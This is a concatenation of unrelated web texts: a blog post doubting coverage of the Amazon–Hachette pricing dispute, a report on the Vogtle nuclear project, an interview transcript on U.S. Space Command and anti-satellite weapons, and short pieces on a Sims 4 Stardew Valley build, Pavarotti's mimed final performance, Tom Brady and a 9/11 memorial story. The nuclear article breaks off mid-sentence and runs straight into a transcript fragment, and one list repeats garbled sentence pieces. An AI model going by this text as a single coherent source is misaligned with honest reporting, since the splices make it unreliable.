There is a lot at stake in such negotiations – for both parties. Either side can lose millions and millions of dollars depending on what cost is agreed for co-op and what percentage discount off list price is agreed for the retailer. Negotiations can be particularly hard fought, as is often the case with large companies and huge sums of money. And the stakes are much higher since the price-fixing trial.
The Case Against Amazon
A friend of mine is published by Hachette. His latest came out this month so I’ve been aware of this dispute for while. We noticed some strange things happening with his Hachette book pages on Amazon – stuff that only appeared to be affecting his Hachette titles. A quick check confirmed that all Hachette books seemed to be affected, and, indeed, only Hachette books. At this point, Hachette hadn’t started contacting its authors or briefing the media, but it was clear there was some dispute between it and Amazon.
First, Amazon began displaying competing titles in a bar across the top of Hachette’s books’ pages. No doubt this exercise was intended to show the value of Amazon’s real estate. Next it was reported that Amazon had become inexplicably slow at fulfilling orders of Hachette books. Following that, it was claimed that Amazon had removed Hachette books from sale altogether.
The latter claim turned out to be overblown. Amazon has removed the purchase button from Hachette pre-orders and replaced it with a sign-up for a news alert when the book is orderable.
Pre-orders are a facility that Amazon extends to certain publishers. Except for the very biggest sellers, self-publishers don’t have access to this facility – probably because Amazon has (reasonable) doubts as to whether self-publishers en masse could deliver without issues. After all, Amazon is the customer-facing entity in the chain, the one that will be the target of the reader’s ire if the book is delayed.
And there are delays in the Amazon-Hachette connection right now. That much is clear. But who’s at fault? Hachette author Michael Sullivan revealed last week that there appears to be delays on both sides.
On April 29th, during a phone call with Amazon’s Author Central, the Amazon representative indicated they had more than a dozen purchase orders placed from April 21st – 24th which had not yet shipped. At that time, Hachette was indicating ship dates of May 2nd – May 10th. Hachette has continually assured us all orders were shipping “in a timely manner” and Amazon was to blame for placing small orders. We’ve asked for copies of the purchase orders and confirmation of the shipment dates from my publisher but have been told, “It is not information we would like to be shared with any third party at the current time.” Hachette would be foolish to delay orders while simultaneously accusing Amazon of doing exactly that, but perhaps their definition of “in a timely manner” is not the same as it was before the dispute.
It’s possible that Amazon is strong-arming Hachette. But it’s also possible that Amazon has removed the pre-order facility because it doesn’t currently have confidence that Hachette can deliver books on time. The simple fact is that we don’t know.
The dispute could center on any number of issues. It could be that Amazon is seeking huge percentage discounts which are making Hachette blanche. Or maybe the price of Amazon’s co-op has increased (fairly or unfairly) and Hachette is unwilling to pay. Or perhaps Hachette wishes to sell e-books under an agency-type model and retain control of retail pricing, and Amazon wants to sell Hachette’s e-books under a wholesale model and be free to discount at will. It might simply be the case that they are poles apart on the exact levels that Amazon will be permitted to discount.
We don’t know. And if we don’t know the exact nature of the dispute, we can’t pronounce judgments as to whether Amazon is being unfair or using their market power in anti-competitive ways. If the latter is true, Hachette has a remedy open to it: the courts.
Picking A Fight
But why Hachette and why now? The large publishers who were found to have illegally colluded with Apple to force the Agency model on Amazon and artificially increase the retail price of e-books are all currently subject to a court order to renegotiate their agreements with retailers. Hachette is one of those publishers.
To prevent the parties illegally acting in concert once more, Judge Cote ordered that retailer-publisher negotiations be staggered. Hachette is first up. It’s that simple.
Hachette is being portrayed as some helpless fawn. Several articles have speculated that Amazon is “going after” Hachette first because, compared to the rest of the large publishers, Hachette is small and weak.
Don’t buy it. Hachette might be the smallest of the “Big 5” on paper, but that’s only when you look at the American market. Hachette Book Group is owned by Lagardère Publishing – the biggest publisher in France and the second biggest in the UK. It has significant publishing interests across the rest of the world too, enough to make it the world’s second largest trade publisher overall.
Lagardère Publishing is itself part of Lagardère Group, a giant worldwide media company – magazines, radio, television, online, digital, and books – with annual revenue of approximately $10bn dollars.
Not so small anymore… which gets me thinking. I’m always skeptical when a story with precious few facts is reported in an uncritical and uniform way.
It’s almost like it’s the result of a very smart PR campaign. It’s almost like Hachette is part of a giant mass media conglomeration with billions of dollars of revenue and hundreds of outlets in which to push its message. It’s almost like Hachette is part of an international publishers’ association which has explicitly stated it will be flooding the media this year with stories intended to advance its interests.
If you doubt the ability of a PR campaign to radically shift attitudes and perceptions, I must point you towards the history of diamond engagement rings and the sudden shift in popularity of smoking among women. And if you want an example of journalists chasing each other’s tails and not bothering to check the facts of a hot story being reported by competitors, I urge you to read the post I wrote in January revealing that Hitler’s Mein Kampf was never a digital bestseller… until the media made it one with their inaccurate reporting.
Hachette isn’t the only large publisher with a vested interest in the current dispute. As mentioned above, the court mandated settlement in the price-fixing case set out a schedule by which publishers would renegotiate their deals with retailers. Penguin Random House, Simon & Schuster, Macmillan, and HarperCollins will all have to go through the same process – all staggered six months apart. All of them will be watching the outcome of Hachette’s negotiations closely. All of them are rooting for Hachette to “win.”
Who Owns The Media?
Publishers like to portray themselves as plucky little companies doing their best in a world dominated by heartless giants like Amazon. It’s good PR, but it’s far from true. I’ve covered Hachette’s media links above, but here are the rest:
Simon & Schuster is owned by CBS Corp. which has revenue of over $14bn. CBS owns the most watched network in the US and its operations cover every field of media including cable, publishing, radio, and local TV.
is owned by CBS Corp. which has revenue of over $14bn. CBS owns the most watched network in the US and its operations cover every field of media including cable, publishing, radio, and local TV. Penguin Random House is owned by two companies, Bertelsmann with a 51% share and Pearson a 49% share. Until 2003, Pearson owned the RTL Group – the largest commercial television and radio broadcaster in the EU – at which point it was sold to Bertelsmann, which still own the company. Bertelsmann is a giant media company with revenues of around $20bn and interests in more than 200 media companies worldwide, including 54 television stations, 29 radio stations, and the largest magazine publisher in Europe.
is owned by two companies, Bertelsmann with a 51% share and Pearson a 49% share. Until 2003, Pearson owned the RTL Group – the largest commercial television and radio broadcaster in the EU – at which point it was sold to Bertelsmann, which still own the company. Bertelsmann is a giant media company with revenues of around $20bn and interests in more than 200 media companies worldwide, including 54 television stations, 29 radio stations, and the largest magazine publisher in Europe. Macmillan is the odd one out as its corporate parent (the Georg von Holtzbrinck Publishing Group) doesn’t have global media interests worth mentioning, aside from 50% of Die Ziet – the most widely read German weekly paper with an estimated readership of over 2 million.
is the odd one out as its corporate parent (the Georg von Holtzbrinck Publishing Group) doesn’t have global media interests worth mentioning, aside from 50% of Die Ziet – the most widely read German weekly paper with an estimated readership of over 2 million. But HarperCollins picks up the slack by being a subsidiary of the media behemoth that is News Corp. – which owns huge chunks of the media market all across the world, including the US (Fox, the New York Post, the Wall Street Journal) and the UK (Sky, the Times, The Sun).
Suffice to say that it’s pretty easy for large publishers to get their message heard, and that’s without including the army of blogging authors and agents who often gravitate towards the same positions, as well as the horde of newspaper columnists desperate for a book deal.
Big Media Push
The last time I saw an anti-Amazon media push this big was in the run-up to the price-fixing trial. It seemed pretty clear to me that the large publishers were attempting to litigate the case in the court of public opinion because they had no chance in an actual court.
Don’t you think it’s interesting that a very similar spat between Barnes & Noble and Simon & Schuster generated little of the same negative attention? Authors like Hugh Howey had virtually zero B&N bookstore distribution (for the release of one of the hottest titles of the year), and this was accompanied by no widespread condemnation, just a general hope that both parties would amicably resolve their dispute.
By contrast, Amazon was universally painted as a bully when it removed Macmillan’s buy buttons in a comparable spat in 2010. And we now know that, at the time, Macmillan was part of an illegal conspiracy to force the Agency Agreement on Amazon and artificially inflate the price of e-books (along with Hachette).
That history should caution everyone before leaping to judgment this time, but huge corporations spend millions on PR because they know that if you repeat the same message over and over, people will begin to believe it – regardless of the facts.
While I hope that the dispute gets resolved quickly – for the sake of the authors affected – I’m keeping an open mind as to who’s really at fault here.
Given Hachette’s history, I recommend doing the same.
* * *
Last week I blogged about NoiseTrade – a cool new way to share your work with the world that could help you build audience, boost your mailing list, and make money at the same time.
If you missed that post, you can read it here, and you can get Let’s Get Visible for free here (tipping strictly optional) in exchange for providing your email address.
Downloads are finally starting to slow, so I’ll probably yank it soon. I wanted to give you one last chance to grab it now while you still can.
UPDATE: Amazon responds.
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EmailDespite being faced with the disastrous effects of the Westinghouse bankruptcy, the five partner firms have decided to complete the twin AP1000 1150 MW nuclear reactors at an estimated cost of $19 billion.
Despite being faced with the disastrous effects of the Westinghouse bankruptcy, the five partner firms have decided to complete the twin AP1000 1150 MW nuclear reactors at an estimated cost of $19 billion. In doing so they have committed to overcome the effects of mind boggling mismanagement of the supply chain, cost overruns, and schedule delays,
Key risk assumptions are that Toshiba will make good on its promise to pay the project $3.7 billion and that Congress will pass legislation extending the federal production tax credits beyond their current expiration dates.
Bechtel has been hired to be the EPC. The reactors are scheduled to be finished a year apart in 2021 and 2022 respectively.
After weeks of hand-wringing in South Carolina as SCANA walked away from its plans to build two Westinghouse AP1000 nuclear reactors at the V C Summer project, Georgia Power and its partner utilities have decided to move forward with completion of its twin AP1000s. The utilities laid out their plans in a filing (multiple PDF files, 46 Mb) with the Georgia Public Utilities Commission (PUC). That agency said it would conduct a six month review of the filing before making a decision.
The New York Times report on the decision noted that in July, Stan Wise, the chairman of the commission, argued that Georgia may be better positioned to finish its reactors than South Carolina, in part because costs would be borne by a broader base of customers: 2.4 million for Georgia Power compared with 700,000 for South Carolina Electric & Gas.
In the PUC filing the owners of the Vogtle nuclear station expansion project in Georgia have recommended completing the two AP1000 nuclear units being built there, despite the bankruptcy of main contractor Westinghouse and increased costs.
The utilities – Georgia Power, Oglethorpe Power, the Municipal Electric Authority of Georgia and the city of Dalton, Georgia – said on August 31, 2017, that they want to complete the partly built units even without fixed-price guarantees from Westinghouse, which filed for bankruptcy reorganization in March 2017.
Many industry observers have pointed out that Westinghouse was unwise to have signed off on fixed price contract in, especially for a first of a kind project of this magnitude in the US. The validity of this observation has been borne out by the missteps Westinghouse took with its suppliers as well as its failure to establish a rigorous project schedule and cost baseline before breaking ground.
The ultimate decision to proceed with completion of the reactors will be made by the Georgia Public Service Commission (PSC), which will determine whether Georgia Power can recover its costs for the project from utility customers.
Georgia Power Lays Out the Rate Case
In its press statement related to the Georgia PUC filing the company said it will have a better chance of controlling costs if it finishes the reactors than if it abandons them and builds gas plants in their place. Georgia Power said in its statement that it had asked the PSC to approve its decision to continue with construction. It said failure to allow it to recover all its costs would be grounds for all the partners to abandon the project.
“Based on all factors considered, completing both units represents the most economic choice for customers and preserves the benefits of carbon-free, baseload generation. Assessments of the project included robust economic analyses; evaluation of various alternatives including abandoning one or both units or converting the units to gas-fired generation; and assumptions related to potential risks including future payments from Toshiba, availability of production tax credits and extension of loan guarantees from the Department of Energy (DOE). The latter two benefits were prescribed in the Energy Policy Act of 2005.
The total rate impact of the project remains less than the original estimate, after including anticipated customer benefits from federal production tax credits, interest savings from loan guarantees from the DOE and the fuel savings of nuclear energy. Once the project is on line, the company should still be able to offer retail rates below the national average with the additional long-term benefits from this new source of clean and reliable energy.
“Since the beginning of the Vogtle expansion, we have worked to minimize the impact of this critical project on customers’ monthly bills and, even as we assessed our options of whether or not to continue the project, our |
's gotta run 24/7.
Why not charge for GPS?
In orbit, the satellite will spread out its solar panels, point its odd-looking antennas towards the Earth, and broadcast its location along with a time signal accurate to nanoseconds. A GPS receiver needs signals from four of these satellites to figure out its location. Col. Cooley told us it costs a quarter of a billion dollars to design and build each one.
David Martin: And to put it into space, how much does it cost?
Col. Bill Cooley: That's about the same.
David Martin: So you're pushing half a billion dollars to get that--
Col. Bill Cooley: That's right.
David Martin: --thing into space?
Col. Bill Cooley: That's right.
The U.S. has 31 active GPS satellites in space right now, and a lot more than smart bombs and smartphones depend on them. Bank ATMs, cellphone towers, and power grids use their signals. Farmers use GPS to work their fields.
The GPS satellite system the whole world relies on is operated out of this room at Schriever Air Force Base in Colorado by Lt. Col. Todd Benson and his team. We were a little surprised by how many people it takes.
Lt. Col. Todd Benson: Eight personnel.
David Martin: Eight people?
Lt. Col. Todd Benson: Yes, sir.
David Martin: For the entire world?
Lt. Col. Todd Benson: Yes, sir.
David Martin: So are these technological experts?
Lt. Col. Todd Benson: Yes, sir. But they're as young as 19 years old.
David Martin: Isn't there a minimum age for driving satellites?
Lt. Col. Todd Benson: Not here.
Another thing that surprised us is that there's no way to effectively armor an important satellite like this or to conceal its location from attack.
David Martin: So it can't hide in space?
Col. Bill Cooley: That's true. And we-- in fact, it's-- it tells you where it is.
David Martin: This is a system the whole world depends on, costs a small fortune to put it up there, and it's a sitting duck.
Col. Bill Cooley: Well this is one of the challenges that in Space Command, that we're-- we are very aware of.
David Martin: Today, can a U.S. military satellite maneuver itself outta the way of an upcoming anti-satellite weapon?
Gen. John Hyten: It depends on a huge number of variables.
David Martin: So the answer is maybe.
Gen. John Hyten: The answer is maybe.
David Martin: You've got these satellites worth hundreds of millions of dollars and they maybe could get out of harm's way?
Gen. John Hyten: It depends on the satellite. It depends on the mission. It depends on when it was built, depends on how old it is. It depends on when we know the threat is coming.
Knowing a threat is coming is no small task when the territory you're responsible for is 73 trillion cubic miles. Space Command maintains a global network of radars, telescopes, and satellite communications antennas like this one.
All the information feeds in to the Joint Space Operations Center, JSPOC for short, at Vandenberg Air Force Base.
David Martin: This is the command center for space?
Lt. Gen. Raymond: Yes sir. 24/7, 365 days a year maintaining...
If a U.S. satellite were attacked, Lt. Gen. "Jay" Raymond would use this phone to alert a chain of command leading to the White House.
David Martin: Is an attack on an American satellite an act of war?
Gen. John Hyten: That's been a line of debate for as long as I've been in this business.
David Martin: If there is an attempt to attack or interfere with a U.S. satellite, who makes the decision about what we do about it?
Gen. John Hyten: That would be the president of the United States.
And it's not just an anti-satellite weapon they're worried about. There are other dangers too.
Lt. Gen. Raymond: Today, we track about 23,000 objects.
David Martin: How many of them are actually functioning satellites?
Lt. Gen. Raymond: Roughly 1,300 of those are active satellites. The rest are debris.
David Martin: Junk.
Lt. Gen. Raymond: Yes, sir. Junk.
[From the movie "Gravity": Explorer, this is Kowalski reporting visual contact with debris. Debris is from a BSE sat....]
The movie "Gravity" dramatized the devastating effect manmade debris travelling at 17,000 mph could have on the international space station. The JSPOC tracks dead satellites, old rocket boosters, even stray space gloves, and alerts satellite operators and astronauts if a collision is likely.
Lt. Gen. Raymond: Last year, in 2014, the International Space Station was maneuvered three times to avoid colliding with a piece of debris.
A lot of the debris that's threatening the space station was created in 2007 when the Chinese tested a ground-based anti-satellite weapon. It crashed into one of their old weather satellites 530 miles above the Earth, shattering it into pieces.
Lt. Gen. Raymond: This is the debris that resulted from the 2007 Chinese ASAT. So this is about 3,000 pieces of debris just from that one event.
David Martin: That came just from that one collision?
Lt. Gen. Raymond: Just from that one collision.
David Martin: Debris apart, how important was that test in terms of revealing Chinese space capabilities?
Gen. John Hyten: It was a significant wakeup call to our entire military until that singular event, I don't think the broader military realized that that is something we're gonna have to worry about.
David Martin: Have they conducted any similar tests since?
Gen. John Hyten: They continue to conduct tests. The testing they're doing is to make sure that the - if they ever got into a conflict with us or any other spacefaring nation, they would have the ability to destroy satellites. And that is a bad thing for the United States, a bad thing for the planet.
A bad thing, no doubt, but is the U.S. doing it too? And did China recently raise the stakes -- test-firing a weapon deeper into space than ever before, and threatening some of this country's most valuable satellites? That part of our story, when we come back.
Part Two
Tonight, we've been giving you a rare look at how a branch of the U.S. Air Force called Space Command is preparing for a battle most of us have never thought about -- one high above the Earth, defending the satellites upon which our daily life and national security have come to depend. Few of those satellites are more important to the U.S. military than the ones that provide early warning of a long-range nuclear missile attack.
Even at the height of the Cold War those satellites -- stationed deep in space, some 20,000 miles above the Earth -- were considered safe from attack. But deep space is no longer the sanctuary it once was. A former Space Command officer told us that two years ago the Chinese tested an anti-satellite weapon that went higher than any previously reported and came too-close-for-comfort to the area where those missile warning satellites are located.
"I think what keeps a lot of American military planners up at night is if China has anti-satellite capabilities when do they use those in a conflict? Do they use them at the start to try and blind the U.S.?"
Brian Weeden: If those satellites are now at risk, that is something that, from the U.S. military's point of view, is new. Because it's always believed those satellites, there wasn't really a significant threat to those capabilities.
Brian Weeden served as an officer in Air Force Space Command until 2007. He's now technical adviser to the Secure World Foundation, which promotes the peaceful use of space.
Weeden says the Chinese have test-fired as many as six, ground-based, anti-satellite weapons. Only one, in 2007, actually hit a satellite and created debris. But one of the others soared to new heights.
Brian Weeden: There was one test in May of 2013 that may have gone as high as 30,000 kilometers. And that's one that I think really is kind of causing quite a bit of concern on the U.S. side.
To understand just how far that is, the International Space Station orbits at about 200 miles above the Earth, and those GPS satellites we showed you orbit at 12,000 miles. The 2013 test-launch Weeden's talking about is believed to have gone up to 18,600 miles, just shy of what's known as geo-synchronous or geo-stationary orbit. And that's where the U.S. military has stationed some of its most valuable missile warning sensors and top-secret communications devices that serve as its eyes and ears in time of war.
Brian Weeden: I think what keeps a lot of American military planners up at night is if China has anti-satellite capabilities when do they use those in a conflict? Do they use them at the start to try and blind the U.S.?
David Martin: Those sound like the crown jewels of American satellites up there in geo-synchronous orbit.
Brian Weeden: Absolutely. Those satellites were developed in an environment where the U.S. assumed there would not be reason to attack them. So you end up with a small number of very expensive satellites that have a lot of capability packed onto each one. And result is: juicy targets.
A spokesman for China's foreign ministry admitted testing an anti-satellite weapon in 2007, but China has denied conducting subsequent tests, and told us it is committed to the peaceful use of outer space. It said the 2013 launch into deep space was simply a science experiment.
But using skills he honed as an officer in Space Command, Brian Weeden analyzed commercial satellite photos and other publicly available data about the launch. He concluded that science experiment was probably fired into space by a military missile launcher like this.
Gen. John Hyten: This building was built...
General John Hyten, the head of Air Force Space Command, has seen the classified intelligence about that launch.
David Martin: These follow on Chinese tests, how high up do they go?
Gen. John Hyten: Pretty high.
David Martin: Well, how high's that?
Gen. John Hyten: I won't characterize what the Chinese capabilities are. I just will tell you that we know what they are.
David Martin: Well, I've read reports by a congressional commission, which said that in the next five to 10 years, China likely will be able to hold at risk U.S. National Security satellites in every orbital regime.
David Martin: Do you agree with this statement by the commission?
Gen. John Hyten: I think they'll be able to threaten every orbital regime that we operate in. Now we have to figure out how to defend those satellites, and we're going to.Space Command is making its new satellites more maneuverable to evade attack, and also more resistant to jamming. It's building a new radar system that will enable the space operations center to track objects in space as small as a softball. And it's deployed two highly maneuverable surveillance satellites to keep watch on what other countries are doing high up in geo-stationary orbit.
David Martin: Satellites watching other satellites.
Gen. John Hyten: Satellites watching other satellites.
David Martin: And how do they improve your knowledge?
Gen. John Hyten: Because they're up close.
Normally, the capabilities of spy satellites are kept top secret. But Space Command put out this fact sheet about its new assets in geo-synchronous orbit.
Gen. John Hyten: We want people to understand that we're watching. There will be no surprises in geo. And we want everybody in the world to know that there will be no surprises in that orbit. It's way too valuable for us to just be surprised.
David Martin: Deterrence in the nuclear world was built on weapons.
Gen. John Hyten: Right. And deterrence in the space world has got to be built on a little bit different construct. It's the ability to convince an adversary that if they attack us, they will fail.
Air Force Secretary Deborah Lee James told us the Pentagon plans to spend an extra $5 billion over the next five years to protect its satellites.
David Martin: What do you consider to be the greatest single threat to U.S. satellites?
Deborah Lee James: An anti-satellite weapon would certainly be a great threat. A laser would be a threat. Jamming capabilities are also a threat.
David Martin: Do China and Russia have lasers that could blind American satellites?
Deborah Lee James: They are testing and investing. And that is worrisome to the United States.
Testing and investing in sometimes mysterious ways.
Last year, airmen at the Joint Space Operations Center monitored the seemingly routine launch of three Russian communications satellites. Lt. Gen. "Jay" Raymond and his team spotted what they assumed was just an ordinary piece of debris from the launch.
Lt. Gen. Raymond: About a week later, a young Air Force captain detected that that debris started to move.
Move, as in maneuver, right up close to the body of the rocket that had launched it into space.
David Martin: So what is that object that keeps maneuvering in space?
Lt. Gen. Raymond: David, I'm not gonna speculate. But I can tell you what it isn't. It's not a piece of debris.
Brian Weeden: That type of maneuver is what's called a Rendezvous and Proximity Operation. And it's actually something that the U.S. had been working on for the last several years, if not longer.
Satellites that can "rendezvous" with other satellites may some day be used to refuel or make repairs. But they're potential weapons as well.
David Martin: If you can get close enough to inspect or service another satellite, is that close enough to disable it?
Brian Weeden: Absolutely. And there's a wide range of ways you can do that.
David Martin: Such as?
Brian Weeden: Breaking off a solar panel or even some have theorized, you know, spray-painting over optics so that the satellite can't see anything.
So if you thought space was a peaceful haven, think again. This is a new kind of space race, a cosmic game of hide-and-seek. And the same technology that enables this telescope to see more clearly into space could potentially be used to help a laser weapon focus more powerfully on a target. The Bush administration wanted to develop such a weapon here in 2006, but ran into resistance from Congress.
David Martin: Is any work being done on lasers that could be used to blind satellites?
Deborah Lee James: There's no such work at this time.
David Martin: Does the U.S. have any weapons in space?
Deborah Lee James: No, we do not.
David Martin: I'm thinking of satellites that maneuver next to another satellite and then take some action to disable it without blowing it up.
Deborah Lee James: We do have satellites that maneuver that look at things in space. But not what you just described.
David Martin: You think the Chinese believe that?
Deborah Lee James: I don't know what they believe.
When the Chinese look at America's space operations, they see a program that, by most estimates, spends 10 times more than they do and has tested anti-satellite weapons of its own. Space Command told us an American F-15 fired a missile into space five times in the 1980s, and one of those times destroyed a U.S. satellite, creating debris that remained in space for decades. One of the officers involved in that test was Gen. Hyten.
Gen. John Hyten: I think it was surprise to most people on that program, how much debris we created.
David Martin: So where do we get off lecturing the Chinese about testing anti-satellite weapons if we were the first and if we created debris?
Gen. John Hyten: Well, it-- because we learned our lesson and told the world and the Congress said, "You will not test that weapon anymore."
But when a U.S. intelligence satellite containing hazardous fuel malfunctioned in 2008 the Navy's Aegis defense system -- designed to knock out incoming missiles -- was used to shoot it down.
David Martin: Chinese must think, "We've got an anti-satellite capability as well."
Brian Weeden: I think they certainly have come to that conclusion. Or not-- if the U.S. doesn't have a capability, they certainly could field one very quickly.
David Martin: What you just described is-- the formula for an arms race. They see a capability. We have that capability. They react to that capability. They react, we react, and there you go.
Brian Weeden: I think it certainly could turn out that way.
David Martin: One of the big dangers is that a problem in space could inflame a conflict here on Earth. For instance, if a nation suddenly its early-warning satellites in the middle of a crisis it might assume it was the beginning of an attack.
Brian Weeden: Now in reality, it might've been a simple manufacturing failure. It might've been a piece of space debris. But in the moment of crisis I think that's the sort of situation that could escalate something that might otherwise have stayed partly contained.
Gen. Hyten told us Space Command is currently only developing weapons that do not create debris -- like this mobile jammer which can be used to incapacitate satellites.
Gen. John Hyten: We have a capability called a counter communications system that is built to deny an adversary the use of space communications. All I can say is it's a capability that exists on the ground and it does not create debris in any way.
David Martin: The only two things you told me about the U.S. ability to fight in space, are the ability to maneuver your satellites and to jam other satellites. Is that it?
Gen. John Hyten: --that's not it, but that's all I can tell you.
One secret project is hiding in plain sight. It's the X-37B space plane, a small, remotely-piloted vehicle that can fly in space for 20 months at a time.
A model of it hangs in Hyten's headquarters in Colorado.
David Martin: So here is your chance to end all the speculation about what the Space Plane is really for.
Gen. John Hyten: It's really for cool things.
David Martin: For instance?
Gen. John Hyten: For instance, it goes up to space-- but unlike other satellites, it actually comes back. Anything that we put in the payload bay that we take up to space we can now bring back. And we can learn from that.
David Martin: Can you tell me whether or not someday the Space Plane is gonna become a weapons system?
Gen. John Hyten: The intent is-- I cannot answer that question.
David Martin: But if you're determined not to create any more debris in space, why can't you say that this might not become a weapon system?
Gen. John Hyten: I'm not gonna say what it's gonna become-- 'cause we're experimenting.
Hyten told us there are bound to be conflicts in space. The important thing is to avoid a shooting war that could create so much debris it might become impossible to put satellites or astronauts into orbit.
David Martin: The Chinese of course look at everything you're doing. And they--
Gen. John Hyten: I'm sure they're lookin' at this.
David Martin: --say-- and they say you're developing the capability to threaten them, and that all those satellites are a direct threat to their national security. So why wouldn't they create a capability to take out those satellites?
Gen. John Hyten: You know, the Chinese are also building a very robust exploration program to go to the moon to explore the stars. They could destroy their entire program by going down the way they are.
David Martin: There's not a shooting war going on out there. But it sure does seem like there is a very high-stakes contest going on in space.
Deborah Lee James: It is high stakes.
High stakes with very few rules. A 1967 U.N. treaty calls for the peaceful use of space. That sounds nice but leaves a lot of room for countries to do what they want.
David Martin: Right now, is there any code of conduct for space operations?
Deborah Lee James: There is not an agreed upon code of conduct.
David Martin: So it's every country for himself?
Deborah Lee James: Pretty much.Have you ever wondered what Stardew Valley's Pelican Town, and its residents, would look like in 3D? Well wonder no longer because thanks to artist DrGluon and Sims YouTuber Loverrlee we now know - cute as a button.
The town was recreated in The Sims 4's build mode with Twitch streamer and freelance artist DrGluon designing and building each structure, while Loverrlee furnished and decorated the building interiors (thanks, PCGamer).
It's the little details which make this recreation so impressive (if you ignore the scrawling Saloon sign) such as the ship wheel over 1 Willow Lane, the tyre in front of Pam's trailer and the flower pot placements. You can almost smell the evil coming from JojaMart.
Even better, you can download the build for yourself from The Sims 4 gallery and place it in your own world or just save it for later. However, it must be placed on a 64x64 lot and the moving objects cheat must be enabled (CTRL + Shift + C, type in bb.moveobjects and then press enter).
If you want the full Stardew Valley experience you can also download Sims versions of the characters from The Sims 4 gallery, though I warn you some are better than others.Turkish national Omer Guney died at a hospital in Paris on Saturday following a brain illness, one month before his trial was set to take place.
Guney was the only suspect in a murder case dating back to 2013, in which three female Kurdish activists were found shot dead in a neighborhood in the French capital.
The three victims were Fidan Dogan, 28, Leyla Soylemez, 24, and Sakine Cansiz, one of the founders of the Kurdistan Workers Party (PKK), which Turkey, the US and other countries designate as a terrorist group. Their bodies were found at the Kurdish Information Center in the 10th arrondissement of Paris.
Turkish intelligence implicated
Guney denied involvement, though French authorities said they had surveillance footage of him entering the crime scene, as well as DNA evidence on his coat. Sources told French news agency AFP that Guney was a Turkish nationalist who infiltrated the PKK in order to be able to spy on it.
French investigators have also said they suspect MIT, Turkey's national intelligence agency, of being involved in the murders, though Ankara has denied the claims.
Tensions have been growing between Ankara and the PKK, which has been blamed most recently by Turkish authorities for a suicide bombing near a stadium in Istanbul that killed at least 44 people. A splinter group of the PKK later claimed responsibility.
blc/rc (AFP, AP)On a freezing February night in 2006, an ailing Luciano Pavarotti rose from his wheelchair at the opening of the Turin Winter Olympics to give a resounding rendition of the aria Nessun Dorma, his final public performance before he died of cancer last September.
Details have emerged of how the opera singer was unsure of his weakening voice and faked the live appearance in front of a TV audience of millions, using video trickery, careful lipsynching and a compliant orchestra that pre-recorded its backing days earlier.
"Pavarotti's great career therefore ended with a virtual performance, something sad but inevitable," said Leone Magiera, the star's longtime pianist and conductor, who has revealed the ploy in a book. "It would have been too dangerous for him, because of his physical condition, to risk a live performance before a global audience."
Magiera said that the trick took days to set up. "First I recorded a number of versions of the orchestra playing the aria, then [I] took the tapes to the small studio at Pavarotti's house in Modena," he said.
"He selected the right version before I directed him alone as he sang along, while being recorded."
In the book, Pavarotti Visto da Vicino, or Pavarotti Seen from up Close, Magiera says: "He found the force to repeat it until he was completely satisfied. Then he collapsed on his wheelchair and closed his eyes, exhausted."
Less than a week later, just before the Olympics ceremony, Pavarotti was filmed on stage miming to the recordings as the orchestra pretended to play behind him.
On the big night, that video was played for TV audiences along with the pre-recorded music, while crowds in the stadium heard the music and saw conductor, singer and orchestra faking it for a second time.
"The orchestra pretended to play for the audience, I pretended to conduct and Luciano pretended to sing. The effect was wonderful," Magiera wrote in the book.
The effect was good enough for one fan who wrote on YouTube after watching the video: "Knowing when to cut off that final high note to match a tape would be next to impossible... It's live, it's him."
Looking back, Magiera said he preferred to recall another performance given by Pavarotti in the 1990s, this time to a deserted opera house in the Amazon jungle. Built in 1896 for rubber barons, the opulent Amazon Theatre featured in the film Fitzcarraldo.
"He was determined to sing at the old opera house in Manaus, where he was convinced Caruso had once sung," he said.
"We went up there by boat, located a piano but found the theatre out of use. Nevertheless, we went in and he sang two arias from Tosca, E lucevan le stelle and Recondita armonia to an audience of about five."
Magiera's memoir details Pavarotti's struggle to work, even as he succumbed to pancreatic cancer. While giving lessons to young singers, he would drift off, whereupon his Peruvian assistant would ring him on his mobile phone. Jerked awake, Pavarotti "would immediately make a more or less relevant observation about the performance he had only partly listened to".
At the end, even his legendary appetite deserted him, Magiera writes. When he could not eat the plate of rigatoni he had asked for, "he looked at me with a sad smile and said 'That's a bad sign for me if I prefer mashed potato to macheroni'."Tom Brady says a championship visit to the White House "was never a political thing." | Getty Tom Brady: 'Everybody has their own choice' on White House visit
Patriots quarterback Tom Brady said “everybody has their own choice” on visiting the White House following the Patriots’ Super Bowl victory, but the visit “was never a political thing.”
Six Patriots have said they would not be visiting President Donald Trump at the White House. Defensive end Chris Long, running back LeGarrette Blount, tight end Martellus Bennett, safety Devin McCourty, linebacker Dont’a Hightower and defensive tackle Alan Branch will all sit out the visit, most in opposition to Trump.
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“Everybody has their own choice,” Brady said in an interview posted Tuesday. “There’s certain years, like a couple years ago, I wanted to go and didn’t get the opportunity based on the schedule — we didn’t get told until I think like 10 days before we were going, and at that point I had something I’d been planning for months and couldn’t get there.”
Brady did not attend the White House visit after the New England Patriots won the Super Bowl for the 2014 season. He did visit the White House after the Patriots won the Super Bowl for the 2001, 2003 and 2004 seasons and when his Michigan team won the college football national championship in 1997.
“It really is a great experience,” Brady said. “Putting politics aside, it never was a political thing. At least, it never was to me. It meant you won a championship and you got to experience something cool with your team, with your teammates.”
Patriots owner Robert Kraft is a personal friend of Trump's. The day before the election, Trump read a letter from Patriots coach Bill Belichick and said Tom Brady voted for him.
“It’s an offseason, these days are valuable for everybody,” Brady said. “You only get so much time with your family and friends, and if people don’t want to go, they don’t want to go, and that’s their choice.”
Although it is common for professional athletes to miss the White House visit, some of the Patriots who aren’t attending are speaking against the administration.
"Basic reason for me is I don't feel accepted in the White House,” McCourty said, as Time magazine reported. “With the president having so many strong opinions and prejudices I believe certain people might feel accepted there while others won't."On that terrible morning, when American Airlines Flight 11 hit the North Tower of the World Trade Center, Victor Wald, 50, was working in his 84th floor office at the small brokerage firm, Avalon Partners. Like his colleagues, he raced for the exits, and scrambled down the stairs. But, having suffered from rheumatic fever as a child, he collapsed in exhaustion on the 53rd floor, as frantic workers from the building’s upper floors hastily passed him by. Harry Ramos, 46, the head trader at the small investment bank, May Davis Group, who worked on the 87th floor, saw him on the stairs, and stopped.
They had never met, had no friends or relatives in common. But Ramos saw Wald and said, “I won’t leave you.” Ramos managed to coax Wald down to the 36th floor, where they sat together as the building collapsed.
“I won’t leave you,” he said. Minutes later, the two died.
When the National September 11 Memorial opens this fall, on the tenth anniversary of that world-changing day, the two friends? names will be inscribed next to each other on the granite wall surrounding the Memorial Garden’s fountains.
